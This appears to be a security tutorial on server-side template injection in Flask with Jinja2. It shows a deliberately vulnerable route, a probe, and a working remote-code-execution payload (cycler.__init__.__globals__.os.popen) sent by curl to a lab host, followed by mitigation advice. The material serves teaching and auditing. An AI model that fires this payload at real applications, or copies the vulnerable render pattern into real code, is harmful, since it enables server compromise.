PyFu

Server Side Template Injection (SSTI) in Flask Application

Python-based Web Application Attacks

Server-Side Template Injection (SSTI) occurs when user-controlled input is directly embedded into a server-side template without proper sanitization.

This allows attackers to inject malicious template expressions, potentially leading to remote code execution, information disclosure, or full server compromise depending on the template engine capabilities.

In Python, one of the most popular template engines is Jinja2, which is commonly used by the Flask framework.

SSTI vulnerabilities are particularly dangerous because template engines like Jinja2 offer access to internal functions, variables, and in some cases, the ability to execute arbitrary Python code.

Understanding how SSTI works in Flask matters when you audit applications that use Jinja2.

Please refer to the Template Rendering in Flask section before proceeding.

Exploit render_template_string()

render_template_string() is a Flask utility function used to render a Jinja2 template provided as a raw string, instead of referencing a template file.

It parses the string as a Jinja2 template and returns the rendered output based on any variables passed to it.

This function is mostly used for dynamically rendering small template snippets or debugging template logic.

Vulnerable Code Example

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', 'Guest')
    return render_template_string(f"Hello {name}")

If a user accesses /greet?name={{7*7}}, the application will respond with:

Hello 49

This confirms that the input {{7*7}} was evaluated by the Jinja2 engine, not treated as plain text.

The input is not plain Python code, but rather Jinja2 expression syntax that resembles Python. Inside the double curly braces {{ }}, Jinja2 supports a subset of Python-like syntax to evaluate expressions and inject their results into the rendered output.

In this case, {{7*7}} instructs the template engine to evaluate the multiplication and embed the result (49) into the final HTML.

Why SSTI matters from an offensive security perspective

SSTI is one of the highest-value findings I can land on a Python web app, because Jinja2 is not a string formatter, it is a Python expression evaluator with a path to the object graph. Once {{7*7}} renders as 49 I am one chain away from os.popen, which means remote code execution on the server, not just reflected output. From there it is the application’s identity I inherit: its filesystem, its database credentials, its cloud role, its position inside the network. Flask makes this common because render_template_string and f-string-built templates are everywhere in real codebases, especially in email rendering, PDF generation, admin “customizable message” features, and error pages.

These are the tells I hunt for in an assessment:

  • render_template_string() with an f-string or %/.format() argument. User input reaching the template source rather than the render context is the core bug; I grep this first.
  • A reflected value that evaluates arithmetic. {{7*7}} returning 49 (and ${7*7}/#{7*7} for other engines) confirms the sink without touching anything dangerous.
  • Customizable templates as a feature. Email subjects, notification bodies, report headers, and “welcome {{name}}” messages stored from user input and rendered later are classic stored SSTI.
  • A non-sandboxed Jinja2 environment. The Flask default is not sandboxed, so the cycler.__init__.__globals__.os and __subclasses__() chains work unmodified.

The defender takeaway: never let user input reach the template source. Pass it as render context so Jinja2 autoescapes it as data, and the {{7*7}} probe collapses into harmless text.

Proof of exploitation

Run the lab app (PyFuLabs/flask-fu/flask-ssti) and send the payload:

curl -sG "http://pyfu.local/flask-fu/flask-ssti/greet" --data-urlencode "name={{7*7}}"
Hello 49

The expression was evaluated, which confirms the sink. Climbing from a Jinja2 global to os then runs a command:

curl -sG "http://pyfu.local/flask-fu/flask-ssti/greet" \
  --data-urlencode "name={{cycler.__init__.__globals__.os.popen('id').read()}}"
Hello uid=0(root) gid=0(root) groups=0(root)

Mitigation

The fix is to never build a template out of user input. Pass untrusted values as render context to a fixed template so that render_template (or render_template_string with a constant template string) receives the user data as data, which Jinja2 then autoescapes, rather than letting it reach the template source where the engine will execute it. Where dynamic templates are genuinely required, render untrusted values only inside a tightly scoped sandboxed environment and keep the template body itself out of user control, since sandboxing alone is brittle against object-graph escapes and the durable defense is keeping input out of the template source entirely.